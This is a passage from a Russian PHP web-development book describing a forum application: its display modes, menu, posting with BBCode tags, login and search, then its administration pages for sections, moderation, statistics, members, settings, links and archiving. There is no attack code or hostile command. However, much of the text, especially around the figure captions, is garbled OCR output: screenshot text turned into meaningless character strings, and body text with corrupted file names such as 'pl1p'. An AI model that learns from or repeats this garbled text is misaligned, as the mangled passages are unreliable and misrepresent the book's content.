1060 Часть 11. Создание са йта Рис. 26 .3 . Вариант дизайна aggression Сообщения внутри темы могут быть представлены в трех вариантах : CJ структурный (рис. 26.4) - ответы на сообщения располагаются с некото­ рым отступом относител ьно сообщения, на кото рое дается ответ; CJ линейный с обратной сортировкой - сообщения расположены одно под другим (как в гостевой книге), при этом сообщения с более поздней датой располагаются в начале те мы, а с бол ее ранней - в конце; CJ линейный с прямой сортировкой - сообщения расположены одно под другим, при этом сообщения с более поздней датой располагаются в ко н­ це темы, а с более ранней - в начале. Посетител ь может переключаться на удобный дл я него вариант просмотра при помощи ссылок в правой верхней части страницы Вид форума. Каждое сообщение снабжается ссылкой Ответить, переход по которой откр ывает форму добавления сообщения. Если посетитель авторизован, он может осуществлять редактирование своих сообщений по ссылке Править сооб­ щение.
Глава 26. Форум: система пр едставления El;n. :tM.�*'O'O�OC\>: 1'n'0't:a.Тt.JU�uе.- �р()sГ4:iц. I.i)е.U4:�" " ТO�tМn:1t1t'�t. lt�.щ. I""Р.АII" n�::ttoftТ"WIJf!U;t�б2 f � .: :�� �� д Ш i � ��� д � :{ �� ��1 "'1" "- ,'01� :1'.. .. .,�... ,� !!'.> �� 1" .to:Jl l(М О, о.'t.МЦ C(lk"ttClIA t. "'Ц'ШН iI) Мt.w"к.. �t"'U О1J1�I"� """Щ;I "utlU'ОN D1IJ'·. tI.iI" . ,.... ........� .." . ., . ..... ' ."' . ".. . .. . ., ..... ... . ... �с";..�. ШЕ. !i.('.��:.>� 'Hj� tl:t:-ьс � �t C{\Ac"G�1 Н., JI.. ... I.tI!tIЯ it:»fI. )'Cfj:\i&f,!tur. NloI>t"f9 JU(!�QIO�(;I" � :Ж,:'UO<МСоО6ы. ��щ.'-. · ·\t·$;.·�; � r · �· ��. � �,. .. ,...,..-_.. 8�.Q'�NI�I"1>I"0):Ю'J,(N,it�. �" . . ;;.Щаt!!:f1Л!t..101! ! � 't1' j it '=". .h\W�·1m Рис. 26 .4. Сообщения по теме ЗАМЕЧАНИЕ 1061 Допускается редактирование только тех сообщений, на которые нет ответов. Имя зарегистрированного посетителя представляет собой гиперссылку, кото­ рая ведет на страницу с информацией о посетителе (рис. 26.5). Меню форума состоит из тридцати ссылок, предназначенных для следующих целей: Ij "Новая тема" - позволяет инициировать новую тему форума; Ij "Регистрация" - позволяет зарегистрировать нового участника форума; Ij "Вход" - позволяет ввести логин и пароль для авторизации на фору ме; Ij "Выход" - позволяет уничтожить логин и пароль из cookie, тем самым покинув форум;
1062 < e.·m ail . URL :11.:6 Оt:Р.б« . : . сп�{)рs написать m1 СЬМ О htlр:ltlЛ'\'IW.sоmimе.rti . 7 �..' ' �<?Л�11iеСТR� -С(Юбще-н .i�И ЗЗЗб7'. · Последне. оос"щею>е 2З . О1.200е· S ;·16;5� ЖИвоЙ Форщ Архив .: Часть 11. Создание сайта Рис. 26.5 . Информация о посетителе о "Поиск" - позволяет осуществлять поиск по форуму; О "Отметить все" - позволяет отметить все сообщения текущего раздел а; О " Живой форум " - вы водит сообщения из актуал ьного форума (в те мах можно отвечать); О "Архив" - выводит сообщения из архивного форума (все тем ы закры­ ты - в них нельзя отвечать);
Глава 26. Форум: система представления о "Обновить визитку" - позволяет обновить регистрационные дан ные; 1063 О "Правила форума" - отображает регламент форума, сообщающий о том , что допускается и что не допускается на форуме; О "Участники Ol1lil1e" - выводит список участников, находящихся в дан­ ный момент на форуме; О "Все участники" - выводит список всех участников форума; О "RSS-канал " - показывает ХМL-файл с последними темами форума, ко- торый позволяет отслеживать новые темы на форуме. При переходе по ссылке "Новая тема" открывается форма, представленная на рис. 20.6, в кото рой посетитель может ввести свое имя, пароль (для зарегист­ рированного посетителя), название тем ы и содержание сообщения. При же­ лании посетитель может прикрепить к сообщению файл . Название те мы и текст сообщения могут быть отформатированы при помощи пол ьзовател ь­ ских тегов: [Ь] и [i] , позволяющих выделить текст жирным и наклонным стилем соответственно, причем теги [Ь] и [i] помечают начало выделенного фрагмента текста, а [/Ь] и [/i] - конец. Кроме это го, код в тексте сообще­ ния (например, код РНР-скрипта) может быть обрамлен тегам и [code ] и [/code] : он будет подсвечиваться согласно синтакс ису РНР. Теги [url ] и [/url ] позволяют добавить ссылку; так, фрагмент [url=http ://www .softtime . ru/forum / ] форум [/url ] будет выведен в виде ссылки форум , ведущей на страницу http ://w ww.softtime.ru/forum/. Есл и скин форума имеет директорию smiles со смайликами, они будут выве­ дены под формой добавления сообщения. Щелчок по понравившемуся смай­ лику добавит соответствующий ему тег в текстовую область . ЗА МЕЧА НИЕ Формы для добавления и редактированиЯ" сообщения выглядят аналогич­ ным образом, за исключением того , что в них отсутствует поле для темы. При переходе по ссылкам "Регистрация " или "Обновить визитку" открывает­ ся форма, позволяющая зарегистрировать нового посетителя или обновить данные уже существующего . Для этого в первом поле формы следует ввести имя посетителя (ник), в двух последующих полях вводится парол ь. Все ос­ тальные поля формы не обязател ьны дл я заполнения и предназначены для предоставления посетителем контактной и личной информации. Поля формы позволяют вв<;:сти e-mail, номер ICQ, адрес домашней страницы посетителя или сайт организации, которую он представляет, дополн ител ьную тексто вую
1064 Часть 11. Создание сайта информацию о себе и фотографию или изображение. Форма таюке содержит флажо к, после установки которого посетитель будет получать на указанны й электронный адрес уведомления о добавлении новых тем. ",., . . ', ,,,,. . '/'�. ! ИСЛОЛЬ3УI11€ те", для выдеЛЕНИЯ текста: Код: [С ОdеПlСОdеJ ." ЖИрный: !!1It&l Наклс>нный: fiШj] URL.: !unl1iйrl! ,.:J! . �� - ' -- -" �'� --'� " " " -'- " --"" ' "-'-. '': ".� . : . - . ''-'''''__..�I ',;�,' ::i:- . ,.);:..� .. .' '- 1 . .. ......;. ..- ... .. - .... .� ... "- --'- - .. ......;. .. ....- . ....- ...... � ...... .;.. .. ...- .....- .;.;.;-. --'- - .- .... _ - . .. - .... .. ......;. С:6�.&-4еtНI.$�_ .: .:. �j' ./ �'c "и' 1" ,.', ,,' ..... . ......'........;:.:.:..... ......:.;...:... . , .. ......... ..:.:...:............ �--.-�...- _. .-.- .---- ,., ::-:"'- ·· ..··· · ····;7)·..- ·· · ·- · ..·;:·:··;"· ···· · ·····-· .':-:: /'"' '-:. . ." .'. . . :.) ........�" ""';.;;...J ,;��:� . ." ;,�. ;';"'-;: ' . :.�;. :' ,; :�. ; ' :;" А�.�. .�i.� ���: �. . �§�!!if.�..�. !.��� �щ �.��,��� .�!?. . ��.��:�..._... . . ..: � .�� . : . . ...........j�. ��....... . .. . . ... : .-:.:. :�.............. : ;; . : ' :......_ . . .�.�. .�.'� J ®€H)©@©e©®�©� ©"0 ®@®® ©@}@@@@ " " ! ._.--� '---;---:-�--"- �--- ,,-..,._- " - ---:.-.. . _--�"';. -.-.__ ._---;.- -.. ..,.. ._ --- -; ; . - , _., , " '/" " "" " ". "" , ",'" ' . . .�" Рис. 26.6 . Добавление новой темы Зарегистрированный посетитель может авторизоваться на форуме, осущест­ вив переход по ссылке "Вход". В результате этого будет открыта форма (рис. 26.7), введя в поля которой свои имя и парол ь, зарегистрированный по-
Глава 26. Форум: система представления 1065 сетител ь может войти на форум . После этого в приветственной фразе Здрав­ ствуйте, Посетитель слово "Посетител ь " будет заменено именем участника. Кроме того, будут выведены все новые сообщения с момента последней ав­ то ризации посетителя, а при добавлении новых тем и ответов на сообщения поля дл я отображе ния имени и пароля будут заполняться автоматически. Пе­ реход по ссылке "Выход" позволяет осуществить выход с форума. �,>. , .f ......•.......•.:n�...........�.....�.n......",........ ..........._... .._......._:.::.:....... ..........,... ................ :" i Для а 6ТО Рl1з ации Вам н е·оБХоди мо вв.ееН1 ваше ИМЯ и , ,1 паропь . Пройдите р(ни С'Траци ю, ест! вы еще не ! , . :. ::;:I зар епiстРированы н а форуме. !:.,' . , .. �'1................................,•••,........... .........-.. ... ............:•••••,.... .. . . ............. .. ._ ..... ........................! . �",��. .; . . -:'.'-:. ............. ;.., �..).,......__._.... Рис. 26 .7 . Вход на форум Переход по ссылке "Поиск" позволяет осуществлять полнотекстовый поиск по темам и сообщениям форума и авторам тем . Внешний вид страницы "По­ иск" представлен на рис. 26.8. В первое поле вводятся кл ючевые сл ова через пробел, второе поле предназначено для ввода максимального кол ичества тем в результирующем списке. Следующий за этим полем выпадающий список позволяет выбрать режим поиска: в названиях тем ил и в сообщениях форума. Второй выпадающий список позволяет задать раздел форума, по кото рому следует выполнять поиск. Переключатель Логика, имеющий два положения : И и ИЛИ, позволяет производить поиск сообщений, содержащих все введен­ ные пользователем ключевые слова ил и хотя бы одно из них соответственно.
1066 Часть 11. Создание сайта "0 Р.t.zщfа I(."'O:»'I05!,oii tn!)i"3ЛР� n���. ЩIС!РCt1t. Аэ.Р!iI.ЦНРi>! 11 jo("�'.Шftl ! . IQiСПq 'НёI-"n(. j . n(Jt\.l� "'�1f:И' 03Jt(l... . j) , �i.lfro е. Р�J'}I)ь·щrМ "l�01 , 1с.� , � �, f« It:"��, /Де , 'C';I1( .. ;t"4!"rt: :ll: :t.�щ бi.! Q:UЮ 11:1 nlnl!':�k� RЗI-I.il c:ti�e,J:�(1u:a 1{� �)Н:)IJ':)�1. , -'1'0 � IQl1;1�� r(tt!��O У. �:I�бit t tf fi 1А.lA.��!f� �i: �:c���.� ��: ! J(nJe"�!'. :7:680 "�6)1;�3!tn�ll" ",а�.ф.ш.J1Onи�crы: :\, Т.О. сtй�' 1l1:ot,IIW6'� ! �COJO;�"i 'r�no�:o!l· n.,� �!<Ii'lЩ )1<:u,,"С�Jб�щаЦ).!l1 N.;t't1'D 1i!Ic\''1ttr;iri,"�o i '.!э'С':'ь t1IC:i! "'a:I�t 'f':IJIJф":. ЗТО: t-I)С'(8<J:IlИ1 n��,r. Ф'NI:t, "'C<:l 10'WU I 1MII4:':rtf(lU", �СQ·шr:�пt't'I!r.Офс\.t... м..-r'I� Уn H�'�"1'� OiO!J A�W r.(otti>�.otb ..t:\ijjtt; IlniC БGг.оа с',щ"г,.·:а. t е: O1Ol.1a '":;rn's", ��p., '"'ti.1Jf'... . 6C:tl3[1�r�.):I4 :Д'3::.rcя • .)1 0 :.;sst13lt� С � �(ilrt1�)y.r.l:'Kt.lI"11 сссtiе'!t!<юJI.'цс щ:ntr1h)):tцс;! !! ФЩ:Уfot(! Onы,a<lHIit. .! J;.I ��tor.re <l'Ю4a I�� �.. . � .� O�!� . � .ф�у�.. �=;=lt�1 � r l .·- н.", -' j"" ��- II� !" - .. .. ! '- :' u ""В = ;;, , i 21)0_1·07.01 . :20::1:9 : Г.. ,· '''',, -�, ----�- у.. .. "�-�--' S i � f !tllшv..'��о.шilt�Л�51. .Ф QR.I1t1.� .1QIP..Qj,Q& i���C1�12'Q ! г-_·- ..._� f·_ ..·..- .y.�••••","-"0 ---, .��,l··_ · щ-·� -t ��j :; ;:1 2� '-�-� , j �9.1.\i.f. . ��.l.11<1JШ.� Л� ,�� IJ:I IoJJ! : J. Q.1�Q J. 0:2 i 13:2. • : �-••_� _.. ..�__y_.._.__•••_...._ . . .....' �'Y.... . _.____�_..y• •"._'__"" __ .� 1.1 �:С\'Щlf fl mIЩ"М! l!2Ш !���'11�ti),e ! ! ._�__о rН<;':,":;':�': ' �:;:;; �,;:�;; ''' I=;'1;:;Т;' '''' ! �.._,,",_ ..' ...�. . ... _ �_....i. . ""'''_'_''' ' '' ''' '___'' '' '' '' ''____'_, '.f � _��� � __..._._•• _••_. __• __•• •••••_•••••• ............. . _•••••__Н••___••_..........__ _.l Рис. 26 .8 . Поиск по форуму
Глдвд 27 Форум : систе м а ад м инистрирова ния Форум должен обл адать развито й системой ад министрирования, которая бу­ дет позволять создавать, удалять и редактировать раздел ы форума, осущест­ влять модерирование тем и сообщений, управлять пользователями, предос­ тавлять стати сти ческие дан ные. К сожалению, рассм отреть подробно код всех файлов не представляется возможным, однако их можно найти на ко м­ пакт-диске, поставляемом вместе с книгой, а также в разделе Down l oads сай­ та http ://www .softtime.ru/. Код форума содержит подробные ко мментарии на русском языке, поэто му разобраться в нем не составит труда. Если вопросы все же возникнут, их всегда можно обсудить на нашем форуме http ://www .softtime.ru/forum/. 27.1 . Описание файлов форума Система ад министрирования сосредотач ивается в dmn/system_l iteforum, которая содержит следующие файлы: директории D arcl1ive .pl1p - страница архивации тем форума, позволяющая перенести те мы из актуал ьного форума в архи в; D autllOrslist.pl1p - список зарегистр ированных посетителей форума; D atl1del.pl1 p - скрипт, удаляющий посетителя форума; D atl1edit.pl1p - НТМL-форма дл я редактирования личных данных посети­ теля форума; D atl1 setadmil1.pl1p - скрипт, назначающий посетителю статус адм инистра­ тора;
1068 Часть 1/. Создание сайта LI аthsеtшоdег.рhр - скрипт, назначающий посетител ю статус модератора; LI ath setuser.pllp - скрипт, назначающий посетител ю статус обычного пользователя; LI autllOr. pllp - панель с подробными сведениями о зарегистрированно м посетителе; LI config.php - конфигурационный файл системы ад министрирования фо- рума; LI fо гuшшепu.рhр - меню форума; LI il1dex.pi1p - страница управления раздел ами форума; LI links. pi1p - страница управления последними новостными позициями и ссылками; LI lnkadd.pi1p - НТМL-форма для добавления новостной ссылки; LI 111kdel.pi1p - скрипт, удаляющий ссылку; LI 111kedit.pllp - НТМL-форма для редактирования новостной ссылки; LI 111ki1ide.pi1p - скрипт дл я сокрытия ссылки; LI lnksi1ow.pi1p - скрипт дл я отображения ссылки; LI partadd.pi1p - НТМL-форма дл я добавления нового раздела на форуме; LI раrtсlш . рi1р - НТМL-форма для объединения тем форума с те мами дру- гого форума; LI partdel.pi1p - скрипт, удаляющий раздел форума; LI partedit.php - НТМL-форма дл я редактирования раздела форума; LI parthide.php - скрипт для сокрытия ссылки; LI partshow.pllp - скрипт дл я отображе ния ссылки; LI posts .php - вывод сообщений те мы (систе ма модерирования); LI pstedit.php - НТМL-форма для редакти рования сообщения; LI psth ide.php - скрипт для сокрытия сообщения и всех сообщений, кото­ рые являются ответами на данное сообщение; LI pstlock.php - скрипт для закрытия сообщения (на дан ное сообщение не­ возможно будет ответить); LI pstsllOw.pllp - скрипт для отображения сообщения; LI settings.pllp - НТМL-форма, позволяющая изменять параметры форума;
Глава 27. Форум: система администрирования о statistics.php - вывод статистической информации по форуму; О themes.php - вывод списка тем (систе ма модерирования); 1069 О thmedit.php - НТМL-форма дл я редактирования (переноса в другой раз­ дел) темы; О tllml1ide.php - скрипт для сокрытия темы; О tllmlock.pllP - скрипт для закрытия темы (В дан ной теме невозможно бу­ дет ответить); О thmsllOw.php - скрипт дл я отображения те мы; О t1ti ls.qt1eryJesult.pllp - вспомогател ьный файл, с функциями выполнения SQL-запросов. Помимо представленных здесь файлов, система адм инистр ирования форума интенсивно испол ьзует файлы из папки utils, содержимое которой описыва­ лось в главе 26. 27.2. Описание функциональности форума Система адм инистрирования форума состоит из нескольких стран иц и пред­ назначена для выполнения следующих административных задач : О управление разделами; О модерирование; О предоставление статистической информации; О управление участникам и; О изменение параметров; О управление ссылками; О архивирование тем. 27.2. 1. Раздел ы форума Внешний вид страницы управления раздел ами форума представлен на рис. 27. 1 . Список существующих разделов представлен В виде таблицы, в ко­ торой каждая строка соответствует одному из разделов.
1070 УМ)!;,'1t),.'1!§ ;l.a:Ir'PHT.\ l JI, �. .:r.шiu.:i! ХД;)r1Q: t орыдщl1 НR! !'f jlФfЭ,!1�";'О ОЫАШ!!! UiШP.2!dU1.t;lШш � ('\рl l l(!'i/Яf4i1С'Нf ilC'if fJAnьнфаt tтt QЙt;t Часть 11. Создание сайта Р••двnы фору... Н.sА"ННОЙ CIPl l НlIЦ�в�.. ... 1фОй'IoI IЮ*"Одoбaвtm. p.&:rдenы. 3ro �XOlJ JIUO , ecnll:CO(8JOI�fD()AOl;tyf1ia,.lx Ql:1of. б3�)UI�or��()., rOl'ДII.ц.о::Qtt>(WР"m�I'I'tI(' q QWilЩФOlЗI'UOJI. . С(l-=д.4IJ. О�� �\� pa: :wI Ж'\I,):.nOC.ЩI'eЛl1 (. .U NYf'nfЮ(!А'nн)� uе-.«lav .-щк, f)ЫбflOnЯ�'tA'.tJtМ В "Ы"М�� r.rnюtn. Пf)),bl('J"..:sЮt.о в кa� ФOf fl це CQ1Д2ti?rc.н О.Q1М.р8з.qen: : Общ�tI'IФОP)'J' С�;J:8)1'С:ЯlOnDI)Q,I: nj)on:tII\lt1l190t�и; РНР", а та а аrct:mOIu., наCJРОКIQI IНJСЩ!t(4IКЗUИ1l q tvff;tlttpj.W W'Н, ,,*mt,ru." l'Ifok,j�ОК$. j)hC"\·,, , еt>-nрlt t1 ��tI!d�'r. Sot t Тimo. Рис. 27.1 . Страница управления разделами форума Первый столбец таблицы содержит позицию раздела относител ьно остал ь­ ных раздел ов форума, второй стол бец содержит название форума, третий - краткое описание. Последний стол бец содержит управляющие ссылки, по­ зволя ющие скрыть/отобразить, удал ить ил и отредактировать параметры раз­ дела, а таюке объединить те мы текущего раздела с любым другим разделом форума (рис. 27.2). Для добавления нового раздела предназначена управляющая ссылка "Доба­ вить новый форум ", расположе нная непосредственно перед табл ицей с суще­ ствующими разделами. Переход по данной ссылке приводит к стран ице с НТМL-формой, представленной на рис. 27.3 . НТМL-форма дл я добавления нового раздела позволяет указать название, правила, краткое описание нового раздела, а также позицию раздела относи­ тел ьного остал ьных разделов форума. Флажок О тображать позволяет ука­ зать статус нового раздел а (скрытый или доступ ный дл я просмотра) .
Глава 27. Форум: система администрирования .Ш ..Ю � 1119.мн CтPofКТ'{!)B с.,Йrа /{аТЗi1QГ npOA!.!i!: il.lli iliш!;Ш ШШ 1i�!Р..9.RЫ;!цН.ff Вопросы н Ответы � �1 (.'ТQ«f) \l:1J сзjUа �Л 'I.\I:(.DD.�1w.YiШ Выберит!!' раздел, в KOroPbIl1 с.rнщует переместить текущий раздеЛt и нa>k1.! иrе ккопку "Оереместить". Перемесппь раздел в: IАh . ра.С е ОбъЕ".динить Рис. 27 .2 . Объеди нение раздел'о в форума ДЛяtoroчтООы добаВJfJЪ Рi1:Щ�Л, введнте ииФОрtА<Щ;1Ю s teli.tronЫ8 ПOЛR н шtЖtflП'е �1ЮПКУ "ДСЮ;)(IJШ;' �rn!utru !.i)J! � � FTP-мрвf '.ДЖ@ ПраВ11.М форума -: 3SIl'И'JQm1nй']'tQl!i! � ГtgСDЗЯ I!Нi1[Э улpмnени е Ф9Qy!.!QJ.I D�.ШUl li.i 1l��jW� � !(pa1'f.oe ()nH(,j)ttm�*: UI.! !UW! 51'10"': rоnoсмзнщ; nO<./"foef!" Ц;}йil;,.lr"'с.а П{lttьзv'8!'n!�gиПа I : Рис. 27 .3. Доба вление нового раздела форума 1071
1072 Часть 11. Создание сайта ЗАМЕЧА НИЕ Форма дл я редактирования параметров раздела выглядит точ но так же , ка к форма дл я добавления, од нако для облегчения редакти рования в п ол я подста влены старые парамеТРЫI . 27.2.2. М одерирование Страница модерирования позволяет скрывать, редактировать, закрывать и переносить те мы форумов, а также подвергать редактированию, скрытию и закрытию сообщений отдел ьных тем . Внешний вид страницы модерирования представлен на рис. 27.4. �1fI�. ..m!!J.1&IJ! �I.�Щ КдШ.t1Н.С:� ltX1� EU:.\ \'_"'" �!9фqro. юy а�JШU:. .!llit.t!2 � ,GJtо.Кf.�jJb�t.�:'Ш1J p'qj!].�! !1?! ! Иi!JUrot:ш u.Мl>аО& "lfCш t1lWi1 Мод"р нр"вани. Ф<>РV'" РНР Нn:l\I IМIf< li'1 С1pa!U1Ц1 ) lIOXЩ) с�.m.. о�tn. . ;14\;� flrptМnиpQМ1'ъ. '.Щ JJfIJI OJAf� fXI(.&!�U"" Рис. 27.4. Страница модерирования форума В дополнение к гл авному меню системы ад министрирования на стран ице модерирования выводится меню, позволяющее переключаться между от­ дельными раздел ами форума. Под меню выводится постран ичный список тем форума, отсортированных в обратном хронологическом порядке. Список реализован в виде табл ицы, в которой каждой из тем отводится одна строка. Первый столбец отображает кол ичество сообщений в теме, второй содержит название темы, третий - имя автора, четвертый - управляющую ссылку дл я редакти рования. Три последних стол бца предназначены для управления ста-
Глава 27. Форум: система администрирования 1073 тусом темы, позволяя закрывать, скрывать тему или делать ее доступной. Те­ кущий статус темы подсвечивается те мно-синим цветом. Название темы представляет собой гиперссылку, переход по которой приво­ дит К странице модерирования темы (рис. 27.5). Страница модерирования те мы повторяет структурный вариант отображения те мы в блоке представления. Отличие заключается в то м, что вместо ссылки "Ответить " под каждым из сообщений выводится четыре управляющие ссыл­ ки, позволяющие отредактировать сообщение или изменить его статус, скрыв, закрыв ил и отобразив - изменение статуса отразится лишь на блоке представл ения, тогда как в системе ад министрирования выбранный статус просто будет выделен жирным шрифтом. ЗАМЕЧА НИЕ П ри скрыти и сообщения скрывается не тол ько текущее сообщение, но и все сообщения, дл я кото рых оно является родител ьским - это позволяет сохран ить логику ответо в при структурной организации форума. QI)"NMIQOt'!� � t1I1V in�Ш!U � fiп!t!'Мj)"оt"щ � ��_W.!J JQ �ШL� еm.м.р!'ф�� 1)r. . Pf.:l)1!i"lЫ*, , " 'amt"fРosт�,. НО! �Ф���. T� *C1� 1J11t� ,,�:цItI. JoCО � п�тt. С3Р''' '' lmщ _м.. �Ц>t't ['��,: - ,,,-, .� �,,-_... ......, ,.,,- ,-,I""':-:"·�·'�l L.y._�.� �[�±� �. : :.:,����l���:·��.�. � . . i 2)�ац�n�(Jt4C:1шm .I>tIP�1UНIШ.' �РWЯ nOlf)'1""l'!. I� а';I;(10I>mtpf�{;t;I�� 1$t1 щzы:.m.�",'�,? '.U<lIlOfQ. . М"� (Щ10Lt ,.. � uм �.tI,,;i�lfQ �кc.? It ОIООJ.М�АaюtWе'�:ЩС 1U.«II:t tФ Н..1�hPаH'la? .. .. �..П� .. .. ;:-... .. 1Ш1!fi.. .. IJWJ J '" C�e.o! н. . ;tц Ц'tЖ\ .(f.W:JQQatI.. .. ,.Щ>ОСО"If'I" QIOv.I Ю""К/I II)'Ш О,/Hx x, t" " l'�:ап� i>ШiI! !. '"шam... .. I)WJJIk · �t;;I.- �···���:,t.i.iiJ·i�· >i.:.. . ;. 06t.t'C:-WO UС)8lIW;Щl4С)"i cntl(.'�I:Ф�IfJ,j * JIЮ ·'t«l!tmtl JfШ� uФm� 13Ig ttJm'I<,V9 ��� Мр'&'W'. tI' !o! !!ttri,n..tg'\lф.1С;д pl'!pJfd , fF"lm .. . t�Jd!tIt�efi ?1 1 .. . ..�.. .. =-.I'_ .. .. - Рис. 27.5. Страница модерирования те мы
1074 Часть 11. Создание сайта 27.2.3. Статистика Страница статистики предоставляет статистическую информацию о кол и че­ стве посетител ей, кол ичестве тем и сообщений в актуал ьном форуме и в ар­ хиве (рис. 27.6). Кэ т.аI1РГ проа,'i( Ш!l! f{Qt(1'Э.кrщ!я �',! ! � Frr·r.инqаж�е ��JIJ.\JJ.•.JШIJ.�[\]".9.IЩl! �.1 1! � [:юй>vея \iм.�[Щ).qwи .��J.IJ1 t� � tшi\ [JQдJ,ш. illi.lШ.!iШiЫ Рис. 27 .6 . Страница статистики Помимо это го, на странице, посвященной статистике форума, помесячно отображается кол ичество сообщений и те м для актуал ьного форума и архива. 27.2.4 . Участн ики форума Страница управления участникам и форума предоставляет список зарегист­ рированных участн иков, позволяя просматривать и редакти ровать регистра­ ционные данные, их статус и удалять участн иков (рис. 27.7).
Глава 27. Форум: система администрирования � W<.- Ш�U�I'!� � Рис. 27 .7 . Управление уч астн иками форума 1075 Кроме это го, по каждому из участн иков форума предоставляется статистиче­ ская информация: число оставленных им сообщений и дату последнего по­ сещения форума. 27.2.5. Настрой ки форума На странице настр оек форума производится установка разнообразных пара­ метров форума; ее внешний вид приведе н на рис. 27.8. Страница настроек форума содержит следующие поля : О Название форума - текстовое, обязател ьное для запол нения, задает на­ звание форума, кото рое выводится в назван ии окна браузера и на некото­ рых страницах форума; О Кол и ч ество позиций - текстовое, обязател ьное для запол нения, опре­ деляет кол ичество выводи мых на од ной стран ице тем (изменение это го значения отражается как на блоке представл ения форума, так и на стра­ нице ад министрирования); О Максимал ьный размер прикрепляемого ф ай ла, бай т - числ овое, обязател ьное дл я запол нения, определ яет максимальный размер при креп­ ляемых к сообщению файлов;
1076 "'b�pe,1I!tP --1-.·' ,-. .-. , �Д..�� (СУ""!-' o&I::d'W;C:1М1afIi г· ",".c. . � �=�,:-p '... ..,.,........ -- -. .... .. ... , 10' �it4ш. . ф�: JbNI:IШ�.а: р �lpentc"f�e.a81t Г -. . ,.. ..... �-I:t� P<lIXWN;J'I)М ·г- д.t.&�'N!IШ.(ot�w): : �mМtp!JЩ�J� Р до&8(Jfнм м )�·(�tt� ... ) .. .) (� � l i� - �r� � � �:� ," 7 � � - ._ - . � - . -- -- -- -- -- -- 1��_ .. EiI -ЫМНЩМ Рис. 27 .8 . Настройки форума Часть 1I., Создание сайта о Макси м ал ьный размер фотографии, байт - числовое, обязател ьное для заполнения, определяет максимальный размер фотографий посетителей; О Приветствие - тексто вое, обязательное для заполнения, содержит при­ ветствие, которое выводится перед списком тем на гл авной стр анице ф о � рума; О Срок действия cookie, суто к - числовое, обязател ьное для заполнения, определяет, скол ько времени форум будет "помнить" имя посетителя и его пароль без повторной аутенти фикации; О Регистрация обязательна - флажок, указывает, нужна ли регистрация дл я размещения тем и сообщений; О Переключение м ежду "линейным" и "структурным" видом фору­ ма - флажок, определяет, предоставляется ли возможность переключе­ ния между структурным (ступенчаты м) и линейным (последовательным) видом форума; О Переключение между разделами форума - флажок, необходимый дл я сокрытия и отображения возможности переключения между форумам и
Гл а ва 27. Форум: система администрирования 1077 (выпадающий список и верхнее меню, с кол ичеством новых сообщений в разделах форума) . Дан ный флажок следует сбросить в том сл учае, есл и в форуме имеется еди нственный раздел ; CJ Личная переписка - флажок, определяющий, возможна ли личная пе­ реписка; если флажок сброшен, вместо ссылок для создания личных со­ общений выводится ссыл ка для отп равки е-шаi l; CJ При регистрации e-таН обязателен - флажок, определяет, обязател ь­ но ли указывать е -шаil при регистраци и; CJ E-таН рассылка при д обавлении тем ы (всем) - флажок, есл и уста­ новлен, то при создании новой те мы всем посетителям, которые также устан овили соответствую щий флажок при регистраци и, отп равляется почтовое сообщение о появлении на форуме новой тем ы; CJ E-таН р ассылка при добавлении новой тем ы (администратору) ­ флажок, определяет, требуется ли отправлять уведомление адм инистра­ тору при появлении новой те мы на форуме; CJ E-таН администратора; CJ Выбрать скин - выпадающий список, позволяющий выбрать "скин" форума по умолчанию. 27.2.6. Ссыл ки Раздел ссылок поз воляет добавлять новые и н ф ормационные ссылки, сооб­ щающие посетителям о последних событиях в жизни сайта и портала (рис. 27.9). 27.2.7. Архивировани е Последний раздел системы ад министрирования форума предназначен дл я архивирования тем форума в отдел ьную табл ицу. Многолетняя экс плуатация форума приводит к значител ьному увеличению базы дан ных, что требует ин­ дексации стол бцов в таблицах . Упрощенно индекс в базе дан ных представля­ ет собой копию столбца, данные в котором поддерживаются в отсортирован­ ном состоя нии. Это позволяет легко ис кать информацию по большому объему данных, однако знач ител ьно зам едляет вставку новых записей, так как индекс каждый раз приходится перестраи вать .
1078 Часть 11. Создание сайта }�(Id3М1 1 �.J..а�1f.1 В! !1 � �;лi.ш�R:ft�aul�� � - � fiМ)i�.Щl��I}J:�lt! �� но g:�:=: ::,*�,:::��·. M·S I=I .;О О" lт,; ;I:;';;;;iii"Qrф�_,�-;;";;;;ii;;;;;,,�,,;;,;;,�о;,:;;;'ii;;: "" " ""-,--.. -- I-..� � , · ··- ..J . ��!. ' l У � ·-1 " I_Pw w И,Soc:lmt.lUf,3rvrt1t.ad IOftPi't;t-,иvmt'2�U"""'\t:f:f 0854 .. ... � I I�i ,.. .. ..t : � ;: �:.:� :,:�:..� '. ::..��:,'�� �:,',�<:: '���,'��,,:,o ",.. , .. _.., ..,..", .. ,...,,_. ,." I" ,.,�,;�;'� " "I 1ф It=t t'f �Щ :'1CНG2t!� �!l ElCМt=;2 'iшяп t'\Р:Rn:l(N:!0О! ! *iО�19 I�1 �':t'..a:Ic'};I).�<:\!,!,t\O.tr.fl'6.�:.d<.)tl'J�J!: !f1l1�':; ;� ilrJt ,...1��.шIШ� ' 1 !'IШ�1 1 I I�Ь "�·м.. . .>s'��f!",� .щ.t:Jl ;;:I;t'1;,:;.1t�*\"i�';"J:":'1$�о1.W",r:f'щ.::�1-t�5 .:ш.� l' . .� � ! [' 05! I!cl>! ! tШ:iй - шшj'::�------ ---'--'--"---""-- " -'-- -l :т;. : . .. .,..... . --. .;-т- -:--: :- ��--,-.- -, .-,. .,......... =- - -- --:- �� ' &. �1Ш := = _ = .:= ;;:; ;;:, � =�=:; ;;;; ..: _ = ;;: : . = 'Ii :=: , = = = :: := ==�==� =="-"===�::'! !. "'-'.!. �': ::<!. '-= "" "" _�� ���J�r,. �� �'IШ1U1 Шn62'МцQ�fЩf т�. ��� � J:aeшI! �! ! �� Рис. 27.9 . Управление ссылками Ap�lte�pO�;tH'" ф�ру.,� JФ:UloI8:Ф�_Iti�QI I 0f1�ltt'J10tJ.'шc.r.o f{lм " Ф<»rJЮ.ЧIW;1Ьf&fol.�ntut(t(:1WJ."R�ttlUе,�(!"'Чыc.nomtln QРU$t"'i)f�1'«l)О.�u;.�r�""' Ibl1�,Q -�I"СJ"ООDA�. �It�.�V :Щ'lOUV:S»"Cf(� ��" НШ(lQIТ&JJС)Щ) �lНCn'lt�(I�)qf", П�е.'f'QWJpot tQC nщu�rOl!�.'ДI:J\�Wo4! �JЮI:' _ " "�If.f(у�ПКlх�m,, (:'I'Ом..�ТIfИ'; '30(.КуlvtК4n� nQ:;lr�реl�С: :И �М(IQI� П"рюФt'(1UЫ�I:iШ �:pncю.aL Кро.,. :t�о. . �� tOW�J'tJt "t t: �� nonyntl l �•.aurt\.1�Щ, �O �1*ЛeI�'t�'II4iWAМ8\ 